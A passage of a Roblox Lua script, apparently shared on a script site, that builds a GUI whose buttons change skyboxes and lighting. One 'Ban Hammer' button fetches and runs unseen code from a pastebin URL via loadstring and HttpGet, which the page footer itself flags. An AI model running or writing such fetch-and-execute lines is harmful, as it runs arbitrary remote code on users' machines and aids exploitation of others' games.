-- Adjust lighting to create a calm, sunless blue atmosphere
Lighting.Ambient = Color3.fromRGB(180, 210, 255) -- Soft blue ambient light
Lighting.OutdoorAmbient = Color3.fromRGB(150, 180, 255) -- Slightly darker outdoor ambient light
Lighting.FogColor = Color3.fromRGB(180, 210, 255) -- Light fog in the same blue tone
Lighting.FogStart = 0 -- Fog starts at the player's position
Lighting.FogEnd = 300 -- Extend the fog further for an open blue feel
Lighting.Brightness = 1 -- Moderate brightness for a peaceful sky
Lighting.TimeOfDay = "12:00:00" -- Set time to noon to avoid any sun effects
Lighting.SunRaysEnabled = false -- Disable sun rays for a sunless effect
end
-- Call the function to apply the blue skybox and sunless lighting
applySunlessBlueSkybox()
-- Optional: Transitioning effects (commented-out loop)
--[[
while true do
-- Gradually change the time of day to simulate a calm, sunless sky
Lighting.TimeOfDay = (Lighting.TimeOfDay == "12:00:00" and "16:00:00") or "12:00:00"
wait(60) -- Wait 1 minute before toggling times
end
]]--
end)
UICorner_30.CornerRadius = UDim.new(0, 20)
UICorner_30.Parent = TextButton_30
TextButton_31.Parent = Frame_2
TextButton_31.BackgroundColor3 = Color3.fromRGB(52, 52, 52)
TextButton_31.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_31.BorderSizePixel = 0
TextButton_31.Position = UDim2.new(0.121284187, 0, 0.618749976, 0)
TextButton_31.Size = UDim2.new(0, 120, 0, 20)
TextButton_31.Font = Enum.Font.SourceSans
TextButton_31.Text = "Dark Grim Night"
TextButton_31.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_31.TextScaled = true
TextButton_31.TextSize = 14.000
TextButton_31.TextWrapped = true
TextButton_31.MouseButton1Down:Connect(function()
-- Dark Grimm Night Skybox Script
local Lighting = game:GetService("Lighting")
-- Skybox Texture ID for a Dark Grimm Night (Replace this with your own ID)
local darkSkyboxID = "rbxassetid://[INSERT_YOUR_DARK_GRIMM_NIGHT_SKYBOX_ID]"
local function applyDarkGrimmNightSkybox()
local sky = Instance.new("Sky")
sky.SkyboxBk = darkSkyboxID -- Back side of the sky
sky.SkyboxDn = darkSkyboxID -- Down side of the sky
sky.SkyboxFt = darkSkyboxID -- Front side of the sky
sky.SkyboxLf = darkSkyboxID -- Left side of the sky
sky.SkyboxRt = darkSkyboxID -- Right side of the sky
sky.SkyboxUp = darkSkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Lighting adjustments for a dark, grim night effect
Lighting.Ambient = Color3.fromRGB(50, 50, 50) -- Dark, cold ambient light
Lighting.OutdoorAmbient = Color3.fromRGB(30, 30, 30) -- Deep outdoor shadowy light
Lighting.FogColor = Color3.fromRGB(30, 30, 30) -- Dark gray fog to give a creepy feel
Lighting.FogStart = 0
Lighting.FogEnd = 500
Lighting.Brightness = 0.3 -- Lower brightness for a spooky night effect
Lighting.TimeOfDay = "00:00:00" -- Set time to midnight for the darkest look
Lighting.SunRaysEnabled = false -- No sun rays, to keep it dark
end
applyDarkGrimmNightSkybox()
end)
UICorner_31.CornerRadius = UDim.new(0, 20)
UICorner_31.Parent = TextButton_31
TextButton_32.Parent = Frame_2
TextButton_32.BackgroundColor3 = Color3.fromRGB(0, 255, 170)
TextButton_32.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_32.BorderSizePixel = 0
TextButton_32.Position = UDim2.new(0.340071261, 0, 0.618749976, 0)
TextButton_32.Size = UDim2.new(0, 120, 0, 20)
TextButton_32.Font = Enum.Font.SourceSans
TextButton_32.Text = "Yellow"
TextButton_32.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_32.TextScaled = true
TextButton_32.TextSize = 14.000
TextButton_32.TextWrapped = true
TextButton_32.MouseButton1Down:Connect(function()
-- Dark Yellow Skybox Script
local Lighting = game:GetService("Lighting")
-- Skybox Texture ID for Dark Yellow (Replace with your actual Skybox Asset ID)
local yellowSkyboxID = "rbxassetid://[INSERT_YOUR_DARK_YELLOW_SKYBOX_ID]"
local function applyDarkYellowSkybox()
-- Create and set the skybox texture to dark yellow
local sky = Instance.new("Sky")
sky.SkyboxBk = yellowSkyboxID -- Back side of the sky
sky.SkyboxDn = yellowSkyboxID -- Down side of the sky
sky.SkyboxFt = yellowSkyboxID -- Front side of the sky
sky.SkyboxLf = yellowSkyboxID -- Left side of the sky
sky.SkyboxRt = yellowSkyboxID -- Right side of the sky
sky.SkyboxUp = yellowSkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Adjust the lighting to match the dark yellow theme
Lighting.Ambient = Color3.fromRGB(200, 180, 50) -- Muted yellow light for ambient
Lighting.OutdoorAmbient = Color3.fromRGB(150, 130, 40) -- Slightly darker outdoor yellow
Lighting.FogColor = Color3.fromRGB(200, 180, 50) -- Dark yellow fog
Lighting.FogStart = 0
Lighting.FogEnd = 500 -- Set the fog distance
Lighting.Brightness = 0.8 -- Moderate brightness for intensity
Lighting.TimeOfDay = "12:00:00" -- Keep it sunless at noon to avoid the sun
Lighting.SunRaysEnabled = false -- No sun rays for this dark yellow look
end
applyDarkYellowSkybox()
end)
UICorner_32.CornerRadius = UDim.new(0, 20)
UICorner_32.Parent = TextButton_32
TextButton_33.Parent = Frame_2
TextButton_33.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
TextButton_33.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_33.BorderSizePixel = 0
TextButton_33.Position = UDim2.new(0.570749164, 0, 0.618749976, 0)
TextButton_33.Size = UDim2.new(0, 120, 0, 20)
TextButton_33.Font = Enum.Font.SourceSans
TextButton_33.Text = "Red"
TextButton_33.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_33.TextScaled = true
TextButton_33.TextSize = 14.000
TextButton_33.TextWrapped = true
TextButton_33.MouseButton1Down:Connect(function()
-- Burning Hell Red Skybox Script
local Lighting = game:GetService("Lighting")
-- Skybox Texture ID for Burning Hell (Replace with your own Skybox Asset ID)
local hellSkyboxID = "rbxassetid://[INSERT_YOUR_BURNING_HELL_SKYBOX_ID]"
local function applyBurningHellRedSkybox()
-- Create and set the skybox texture to a hellish, fiery look
local sky = Instance.new("Sky")
sky.SkyboxBk = hellSkyboxID -- Back side of the sky
sky.SkyboxDn = hellSkyboxID -- Down side of the sky
sky.SkyboxFt = hellSkyboxID -- Front side of the sky
sky.SkyboxLf = hellSkyboxID -- Left side of the sky
sky.SkyboxRt = hellSkyboxID -- Right side of the sky
sky.SkyboxUp = hellSkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Lighting adjustments to match the burning hell theme
Lighting.Ambient = Color3.fromRGB(255, 85, 85) -- Intense red-orange ambient light
Lighting.OutdoorAmbient = Color3.fromRGB(255, 45, 45) -- Darker outdoor fiery light
Lighting.FogColor = Color3.fromRGB(255, 85, 85) -- Red fog to match the hellish theme
Lighting.FogStart = 0
Lighting.FogEnd = 300 -- Set the fog distance for a fiery atmosphere
Lighting.Brightness = 1.2 -- High brightness to simulate burning intensity
Lighting.TimeOfDay = "12:00:00" -- Keep it sunless to avoid daylight
Lighting.SunRaysEnabled = false -- No sun rays, just the burning sky
-- Optionally, you can add a glowing effect to enhance the hellish feel
local glow = Instance.new("PointLight")
glow.Parent = Lighting
glow.Color = Color3.fromRGB(255, 95, 0) -- Fiery glow
glow.Range = 500
glow.Brightness = 2 -- High brightness for the glow
end
applyBurningHellRedSkybox()
end)
UICorner_33.CornerRadius = UDim.new(0, 20)
UICorner_33.Parent = TextButton_33
TextButton_34.Parent = Frame_2
TextButton_34.BackgroundColor3 = Color3.fromRGB(181, 181, 181)
TextButton_34.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_34.BorderSizePixel = 0
TextButton_34.Position = UDim2.new(0.780023873, 0, 0.618749976, 0)
TextButton_34.Size = UDim2.new(0, 120, 0, 20)
TextButton_34.Font = Enum.Font.SourceSans
TextButton_34.Text = "Fog"
TextButton_34.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_34.TextScaled = true
TextButton_34.TextSize = 14.000
TextButton_34.TextWrapped = true
TextButton_34.MouseButton1Down:Connect(function()
-- Foggy Skybox Script
local Lighting = game:GetService("Lighting")
-- Skybox Texture ID for a Foggy Sky (Replace with your own Skybox Asset ID)
local foggySkyboxID = "rbxassetid://[INSERT_YOUR_FOGGY_SKYBOX_ID]"
local function applyFoggySkybox()
-- Create and set the skybox texture to a foggy, misty look
local sky = Instance.new("Sky")
sky.SkyboxBk = foggySkyboxID -- Back side of the sky
sky.SkyboxDn = foggySkyboxID -- Down side of the sky
sky.SkyboxFt = foggySkyboxID -- Front side of the sky
sky.SkyboxLf = foggySkyboxID -- Left side of the sky
sky.SkyboxRt = foggySkyboxID -- Right side of the sky
sky.SkyboxUp = foggySkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Lighting adjustments to enhance the foggy look
Lighting.Ambient = Color3.fromRGB(150, 150, 150) -- Light gray ambient to match foggy weather
Lighting.OutdoorAmbient = Color3.fromRGB(100, 100, 100) -- Darker gray to match the foggy shadows
Lighting.FogColor = Color3.fromRGB(180, 180, 180) -- Light gray fog to match the foggy sky
Lighting.FogStart = 0 -- Start fog from the player
Lighting.FogEnd = 500 -- Set the fog distance for a deep and immersive fog effect
Lighting.Brightness = 0.7 -- Moderate brightness to maintain fog atmosphere
Lighting.TimeOfDay = "12:00:00" -- Keep the time neutral so no sun breaks through
Lighting.SunRaysEnabled = false -- Disable sun rays to keep the foggy feel intact
end
applyFoggySkybox()
end)
UICorner_34.CornerRadius = UDim.new(0, 20)
UICorner_34.Parent = TextButton_34
TextButton_35.Parent = Frame
TextButton_35.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_35.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_35.BorderSizePixel = 0
TextButton_35.Position = UDim2.new(0.428061843, 0, 0.920529783, 0)
TextButton_35.Size = UDim2.new(0, 120, 0, 20)
TextButton_35.Font = Enum.Font.SourceSans
TextButton_35.Text = "Ban Hammer"
TextButton_35.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_35.TextScaled = true
TextButton_35.TextSize = 14.000
TextButton_35.TextWrapped = true
TextButton_35.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/FRJ4wpVb"))("Copyright ERROR_CODE ECCS Co")
end)
UICorner_35.CornerRadius = UDim.new(0, 20)
UICorner_35.Parent = TextButton_35
UIGradient_5.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(0, 234, 255)), ColorSequenceKeypoint.new(0.47, Color3.fromRGB(255, 0, 4)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(0, 255, 38))}
UIGradient_5.Parent = TextButton_35
TextButton_36.Parent = Frame
TextButton_36.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_36.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_36.BorderSizePixel = 0
TextButton_36.Position = UDim2.new(0.697978616, 0, 0.920529783, 0)
TextButton_36.Size = UDim2.new(0, 120, 0, 20)
TextButton_36.Font = Enum.Font.SourceSans
TextButton_36.Text = "Currently not available"
TextButton_36.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_36.TextSize = 14.000
ImageLabel.Parent = Frame
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(0.319857299, 0, 0.00441501103, 0)
ImageLabel.Size = UDim2.new(0, 84, 0, 62)
ImageLabel.Image = "rbxassetid://127626754242019"
Frame_3.Parent = Frame
Frame_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame_3.BorderSizePixel = 0
Frame_3.Position = UDim2.new(1.00000012, 0, 0, 0)
Frame_3.Size = UDim2.new(0, 143, 0, 613)
TextLabel_7.Parent = Frame_3
TextLabel_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_7.BorderSizePixel = 0
TextLabel_7.Position = UDim2.new(0.0489510484, 0, 0.00326264277, 0)
TextLabel_7.Size = UDim2.new(0, 129, 0, 519)
TextLabel_7.Font = Enum.Font.SourceSans
TextLabel_7.Text = "More Coming Soon Here!"
TextLabel_7.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_7.TextSize = 14.000
-- Scripts:
local function CYXOKGI_fake_script() -- ScreenGui.LocalScript
local script = Instance.new('LocalScript', ScreenGui)
local SGui = script.Parent
local Frame = SGui:WaitForChild("Frame")
local Button = SGui:WaitForChild("TextButton")
Button.MouseButton1Up:Connect(function()
Frame.Visible = not Frame.Visible
end)
end
coroutine.wrap(CYXOKGI_fake_script)()
local function IDKC_fake_script() -- ScreenGui.LocalScript
local script = Instance.new('LocalScript', ScreenGui)
local image = script.Parent.ImageLabel
image.image = "rbxassetid://127626754242019"
end
coroutine.wrap(IDKC_fake_script)()
Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: raw.githubusercontent.com, www.roblox.com, pastebin.com, cdn.wearedevs.net.
A Lot More Scripts Added!

Universal